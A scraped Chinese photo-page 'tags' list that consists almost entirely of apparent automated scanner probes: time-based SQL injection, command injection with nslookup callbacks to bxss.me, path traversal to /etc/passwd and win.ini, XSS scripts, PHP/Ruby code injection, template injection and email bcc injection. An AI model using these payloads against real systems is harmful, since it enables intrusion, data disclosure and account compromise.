×
照片标签：
- 1
- ssHvm9kM
- response.write(9599787*9175969)
- '+response.write(9599787*9175969)+'
- "+response.write(9599787*9175969)+"
- echo lqpdmm$()\ dwwcaf\nz^xyu||a #' &echo lqpdmm$()\ dwwcaf\nz^xyu||a #|" &echo lqpdmm$()\ dwwcaf\nz^xyu||a #
- &echo gqoekb$()\ qknxek\nz^xyu||a #' &echo gqoekb$()\ qknxek\nz^xyu||a #|" &echo gqoekb$()\ qknxek\nz^xyu||a #
- 1 bcc:074625.3840-570231.3840.674a7.19119.2@bxss.me
- |echo elerxl$()\ fjxufh\nz^xyu||a #' |echo elerxl$()\ fjxufh\nz^xyu||a #|" |echo elerxl$()\ fjxufh\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- to@example.com> bcc:074625.3840-570232.3840.674a7.19119.2@bxss.me
- (nslookup hitqgylxcfnku26fd3.bxss.me||perl -e "gethostbyname('hitqgylxcfnku26fd3.bxss.me')")
- ../../../../../../../../../../../../../../windows/win.ini
- 1<esi:include src="http://bxss.me/rpb.png"/>
- ../1
- $(nslookup hitwblxajitmycd3d6.bxss.me||perl -e "gethostbyname('hitwblxajitmycd3d6.bxss.me')")
- ${9999742+10000082}
- &(nslookup hitwsnwzartob9eaf3.bxss.me||perl -e "gethostbyname('hitwsnwzartob9eaf3.bxss.me')")&'\"`0&(nslookup hitwsnwzartob9eaf3.bxss.me||perl -e "gethostbyname('hitwsnwzartob9eaf3.bxss.me')")&`'
- 12345'"\'\")
- 1&n973985=v945048
- |(nslookup hitbdmpsksbmze8b08.bxss.me||perl -e "gethostbyname('hitbdmpsksbmze8b08.bxss.me')")
- `(nslookup hittlrqrjhugn8af4f.bxss.me||perl -e "gethostbyname('hittlrqrjhugn8af4f.bxss.me')")`
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- '.gethostbyname(lc('hitae'.'aafxyffkde6de.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(80).chr(115).chr(68).'
- bxss.me
- ".gethostbyname(lc("hitet"."bhxupytcbcbd1.bxss.me."))."A".chr(67).chr(hex("58")).chr(109).chr(72).chr(102).chr(90)."
- )
- '"()
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- '
- "+"A".concat(70-3).concat(22*4).concat(105).concat(70).concat(116).concat(77)+(require"socket" Socket.gethostbyname("hitit"+"qysafztu9836c.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(101).concat(79).concat(109).concat(84)+(require'socket' Socket.gethostbyname('hitbu'+'wiktbaaxab930.bxss.me.')[3].to_s)+'
- "
- /xfs.bxss.me
- ${@print(md5(31337))}
- ${@print(md5(31337))}\
- bibs
- '.print(md5(31337)).'
- '"
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- bibs/.
- <!--
- 1'"()&%<acx><ScRiPt >jgFh(9337)</ScRiPt>
- '"()&%<acx><ScRiPt >jgFh(9068)</ScRiPt>
- response.write(9599390*9271235)
- '+response.write(9599390*9271235)+'
- "+response.write(9599390*9271235)+"
- nTtOnSlT
- 19871655
- 1%0abcc:074625.3840-570242.3840.a1520.19119.2@bxss.me
- to@example.com>%0d%0abcc:074625.3840-570243.3840.a1520.19119.2@bxss.me
- ${9999855+9999827}
- echo qncpng$()\ nhiiti\nz^xyu||a #' &echo qncpng$()\ nhiiti\nz^xyu||a #|" &echo qncpng$()\ nhiiti\nz^xyu||a #
- &echo goklwg$()\ itxpju\nz^xyu||a #' &echo goklwg$()\ itxpju\nz^xyu||a #|" &echo goklwg$()\ itxpju\nz^xyu||a #
- |echo yjefib$()\ ttxres\nz^xyu||a #' |echo yjefib$()\ ttxres\nz^xyu||a #|" |echo yjefib$()\ ttxres\nz^xyu||a #
- (nslookup hitwftsuaalqwc367b.bxss.me||perl -e "gethostbyname('hitwftsuaalqwc367b.bxss.me')")
- $(nslookup hitoopfqnlfsf99c05.bxss.me||perl -e "gethostbyname('hitoopfqnlfsf99c05.bxss.me')")
- &(nslookup hitfardjpherp3a1c2.bxss.me||perl -e "gethostbyname('hitfardjpherp3a1c2.bxss.me')")&'\"`0&(nslookup hitfardjpherp3a1c2.bxss.me||perl -e "gethostbyname('hitfardjpherp3a1c2.bxss.me')")&`'
- |(nslookup hitsrfvjgisswdd29a.bxss.me||perl -e "gethostbyname('hitsrfvjgisswdd29a.bxss.me')")
- '.gethostbyname(lc('hitiv'.'dtkkdcls4056f.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(122).chr(67).chr(116).chr(66).'
- ".gethostbyname(lc("hitzk"."yeaaifrc1a836.bxss.me."))."A".chr(67).chr(hex("58")).chr(111).chr(86).chr(116).chr(82)."
- 1&n940900=v948146
- `(nslookup hitdeznmfzgdn161fa.bxss.me||perl -e "gethostbyname('hitdeznmfzgdn161fa.bxss.me')")`
- 1some_inexistent_file_with_long_name%00.jpg
- XN4pNmSA
- -1 OR 2+401-401-1=0+0+0+1 --
- -1 OR 2+250-250-1=0+0+0+1
- -1' OR 2+819-819-1=0+0+0+1 --
- -1' OR 2+950-950-1=0+0+0+1 or 'SaHN1Fpq'='
- -1" OR 2+55-55-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- -1
- -1)
- 1 waitfor delay '0:0:15' --
- -5 OR 345=(SELECT 345 FROM PG_SLEEP(15))--
- -5) OR 917=(SELECT 917 FROM PG_SLEEP(15))--
- -1)) OR 666=(SELECT 666 FROM PG_SLEEP(15))--
- CmMLDChr' OR 824=(SELECT 824 FROM PG_SLEEP(15))--
- h3o161He') OR 876=(SELECT 876 FROM PG_SLEEP(15))--
- sU2qZjjp')) OR 35=(SELECT 35 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- rN5BcC62
- -1 OR 2+633-633-1=0+0+0+1 --
- -1 OR 2+333-333-1=0+0+0+1
- -1' OR 2+784-784-1=0+0+0+1 --
- -1' OR 2+749-749-1=0+0+0+1 or 'ENr4LqhC'='
- -1" OR 2+415-415-1=0+0+0+1 --
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@cdUbi
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- UvNWGk2J'; waitfor delay '0:0:15' --
- -5 OR 188=(SELECT 188 FROM PG_SLEEP(15))--
- -5) OR 643=(SELECT 643 FROM PG_SLEEP(15))--
- -1)) OR 862=(SELECT 862 FROM PG_SLEEP(15))--
- 4aJlNOub' OR 981=(SELECT 981 FROM PG_SLEEP(15))--
- 2CW6HxGN') OR 650=(SELECT 650 FROM PG_SLEEP(15))--
- 0TihXOKN')) OR 413=(SELECT 413 FROM PG_SLEEP(15))--
- @@BVWvB
- response.write(9325852*9832488)
- '+response.write(9325852*9832488)+'
- "+response.write(9325852*9832488)+"
- echo zlvoij$()\ pmehmb\nz^xyu||a #' &echo zlvoij$()\ pmehmb\nz^xyu||a #|" &echo zlvoij$()\ pmehmb\nz^xyu||a #
- &echo rebruq$()\ vrzhtx\nz^xyu||a #' &echo rebruq$()\ vrzhtx\nz^xyu||a #|" &echo rebruq$()\ vrzhtx\nz^xyu||a #
- |echo qhpenx$()\ mmruxb\nz^xyu||a #' |echo qhpenx$()\ mmruxb\nz^xyu||a #|" |echo qhpenx$()\ mmruxb\nz^xyu||a #
- (nslookup hittfcyekcbuo33f25.bxss.me||perl -e "gethostbyname('hittfcyekcbuo33f25.bxss.me')")
- rdgHo1H2
- -1 OR 2+812-812-1=0+0+0+1 --
- $(nslookup hitcxchrfnhiga938c.bxss.me||perl -e "gethostbyname('hitcxchrfnhiga938c.bxss.me')")
- -1 OR 2+354-354-1=0+0+0+1
- &(nslookup hitqcvqfxecgg058a2.bxss.me||perl -e "gethostbyname('hitqcvqfxecgg058a2.bxss.me')")&'\"`0&(nslookup hitqcvqfxecgg058a2.bxss.me||perl -e "gethostbyname('hitqcvqfxecgg058a2.bxss.me')")&`'
- -1' OR 2+275-275-1=0+0+0+1 --
- -1' OR 2+17-17-1=0+0+0+1 or 'XgwmVPIG'='
- |(nslookup hitejsymalkfd36e33.bxss.me||perl -e "gethostbyname('hitejsymalkfd36e33.bxss.me')")
- `(nslookup hittzrpasoqdp05627.bxss.me||perl -e "gethostbyname('hittzrpasoqdp05627.bxss.me')")`
- -1" OR 2+850-850-1=0+0+0+1 --
- AhBkVWzj
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
- ../../../../../../../../../../etc/passwd%00.jpg
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- /../..//../..//../..//../..//../..//etc/passwd%00.jpg
- tPkwCLui'; waitfor delay '0:0:15' --
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- -5 OR 888=(SELECT 888 FROM PG_SLEEP(15))--
- /etc/passwd
- -5) OR 884=(SELECT 884 FROM PG_SLEEP(15))--
- %2fetc%2fpasswd
- -1)) OR 56=(SELECT 56 FROM PG_SLEEP(15))--
- /.././.././.././.././.././.././.././../etc/./passwd%00
- uxYzWF5N' OR 912=(SELECT 912 FROM PG_SLEEP(15))--
- Uel5itfv') OR 161=(SELECT 161 FROM PG_SLEEP(15))--
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- vAY4r2kt')) OR 833=(SELECT 833 FROM PG_SLEEP(15))--
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- ../././../././../././../././../././../././../././../././../././../././etc/passwd
- ..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd
- @@DHs89
- file:///etc/passwd
- /\../\../\../\../\../\../\../etc/passwd
- /WEB-INF/web.xml
- %0abcc:074625.3840-717631.3840.a1520.19119.2@bxss.me
- to@example.com>%0d%0abcc:074625.3840-717632.3840.a1520.19119.2@bxss.me
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini%00.jpg
- /../../../../../../../../../../boot.ini
- %c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- <esi:include src="http://bxss.me/rpb.png"/>
- ${10000482+9999659}
- WEB-INF/web.xml
- WEB-INF\web.xml
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- &n983270=v981783
- http://bxss.me/t/fit.txt%3F.jpg
- '.gethostbyname(lc('hitem'.'lntpkopa8f451.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(65).chr(119).chr(76).'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- ".gethostbyname(lc("hitvk"."drixrkny7ac6d.bxss.me."))."A".chr(67).chr(hex("58")).chr(108).chr(81).chr(108).chr(81)."
- ';print(md5(31337));$a='
- ";print(md5(31337));$a="
- "+"A".concat(70-3).concat(22*4).concat(103).concat(65).concat(101).concat(75)+(require"socket" Socket.gethostbyname("hitll"+"zflyffde6a2e7.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(101).concat(85).concat(118).concat(66)+(require'socket' Socket.gethostbyname('hitsl'+'qeryqgvw50086.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >JfC8(9106)</ScRiPt>
- '"()&%<acx><ScRiPt >JfC8(9347)</ScRiPt>
- 19889785
- acu6461%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca6461
- acux1103%C0%BEz1%C0%BCz2a%90bcxuca1103
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu1404%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca1404
- acux6357%C0%BEz1%C0%BCz2a%90bcxuca6357
- acu3407%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca3407
- acux2057%C0%BEz1%C0%BCz2a%90bcxuca2057
- 1%22onmouseover=JfC8(90512)%22
- 1"onmouseover=JfC8(97772)"
- 1" WIoM=JfC8([!+!]) FYN="
- 1\u0022onmouseover=JfC8(92683)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%4A%66%43%38%28%39%39%37%37%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(JfC8(9689))'bad="
- 1"><script>JfC8(9380)</script>
- 1<ScRiPt >JfC8(9048)</ScRiPt>
- 1<WVS9TT>SWSUM[!+!]</WVS9TT>
- 1<script>JfC8(9530)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%4A%66%43%38%28%39%39%33%33%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >JfC8(9982)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9441></ScRiPt>
- 1< ScRiPt >JfC8(9566)</ScRiPt>
- 1<isindex type=image src=1 onerror=JfC8(9700)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9030'>
- 1<body onload=JfC8(9630)>
- uu4d1s1W
- 1PHqDbDR6O
- response.write(9551995*9881961)
- '+response.write(9551995*9881961)+'
- "+response.write(9551995*9881961)+"
- 1 bcc:074625.3840-900917.3840.674a7.19120.2@bxss.me
- echo gmciho$()\ ffgglz\nz^xyu||a #' &echo gmciho$()\ ffgglz\nz^xyu||a #|" &echo gmciho$()\ ffgglz\nz^xyu||a #
- &echo lrjqxq$()\ felozt\nz^xyu||a #' &echo lrjqxq$()\ felozt\nz^xyu||a #|" &echo lrjqxq$()\ felozt\nz^xyu||a #
- to@example.com> bcc:074625.3840-900918.3840.674a7.19120.2@bxss.me
- |echo hawzwv$()\ usqbwh\nz^xyu||a #' |echo hawzwv$()\ usqbwh\nz^xyu||a #|" |echo hawzwv$()\ usqbwh\nz^xyu||a #
- (nslookup hitfthdqfzbbw11b6a.bxss.me||perl -e "gethostbyname('hitfthdqfzbbw11b6a.bxss.me')")
- $(nslookup hitiroypanzyqd9a23.bxss.me||perl -e "gethostbyname('hitiroypanzyqd9a23.bxss.me')")
- &(nslookup hitqtisqpegny581c6.bxss.me||perl -e "gethostbyname('hitqtisqpegny581c6.bxss.me')")&'\"`0&(nslookup hitqtisqpegny581c6.bxss.me||perl -e "gethostbyname('hitqtisqpegny581c6.bxss.me')")&`'
- ${10000332+9999810}
- |(nslookup hitkxmwerfqcucb307.bxss.me||perl -e "gethostbyname('hitkxmwerfqcucb307.bxss.me')")
- `(nslookup hitxddjbybmep7fee7.bxss.me||perl -e "gethostbyname('hitxddjbybmep7fee7.bxss.me')")`
- 1&n913541=v915882
- '.gethostbyname(lc('hitdp'.'npbirled59abb.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(121).chr(78).chr(117).chr(71).'
- ".gethostbyname(lc("hitml"."vudwyyfmf4a87.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(86).chr(109).chr(84)."
- "+"A".concat(70-3).concat(22*4).concat(99).concat(74).concat(101).concat(68)+(require"socket" Socket.gethostbyname("hitup"+"levalkgi23f13.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(108).concat(79).concat(106).concat(68)+(require'socket' Socket.gethostbyname('hitpb'+'ihalyylt306b1.bxss.me.')[3].to_s)+'
- 1'"()&%<acx><ScRiPt >0Vsh(9977)</ScRiPt>
- '"()&%<acx><ScRiPt >0Vsh(9933)</ScRiPt>
- 19734074
- i5ATLm8e' OR 582=(SELECT 582 FROM PG_SLEEP(15))--
- LmhH98xP') OR 208=(SELECT 208 FROM PG_SLEEP(15))--
- @@Rw7ua
- 5ZsrGL1V
- -1 OR 2+935-935-1=0+0+0+1 --
- -1 OR 2+234-234-1=0+0+0+1
- -1' OR 2+86-86-1=0+0+0+1 --
- -1' OR 2+215-215-1=0+0+0+1 or 'diO5LQau'='
- -1" OR 2+189-189-1=0+0+0+1 --
- 0rxU12s0'
- -5 OR 721=(SELECT 721 FROM PG_SLEEP(15))--
- -5) OR 724=(SELECT 724 FROM PG_SLEEP(15))--
- -1)) OR 374=(SELECT 374 FROM PG_SLEEP(15))--
- 51ua7csC' OR 93=(SELECT 93 FROM PG_SLEEP(15))--
- vJegwhR8') OR 934=(SELECT 934 FROM PG_SLEEP(15))--
- x2CJuNn2')) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
- @@LZ6gM
- jrOsRdKN
- -1 OR 2+766-766-1=0+0+0+1 --
- -1 OR 2+873-873-1=0+0+0+1
- -1' OR 2+68-68-1=0+0+0+1 --
- -1' OR 2+689-689-1=0+0+0+1 or 'jwcrvE3O'='
- -1" OR 2+944-944-1=0+0+0+1 --
- gMU32Xgd'
- -5 OR 690=(SELECT 690 FROM PG_SLEEP(15))--
- -5) OR 197=(SELECT 197 FROM PG_SLEEP(15))--
- -1)) OR 729=(SELECT 729 FROM PG_SLEEP(15))--
- 3yY6snuZ' OR 945=(SELECT 945 FROM PG_SLEEP(15))--
- sIXFafTF') OR 355=(SELECT 355 FROM PG_SLEEP(15))--
- WpwVR2Xe')) OR 712=(SELECT 712 FROM PG_SLEEP(15))--
- @@N0Xfz
微信扫一扫, 保存到手机
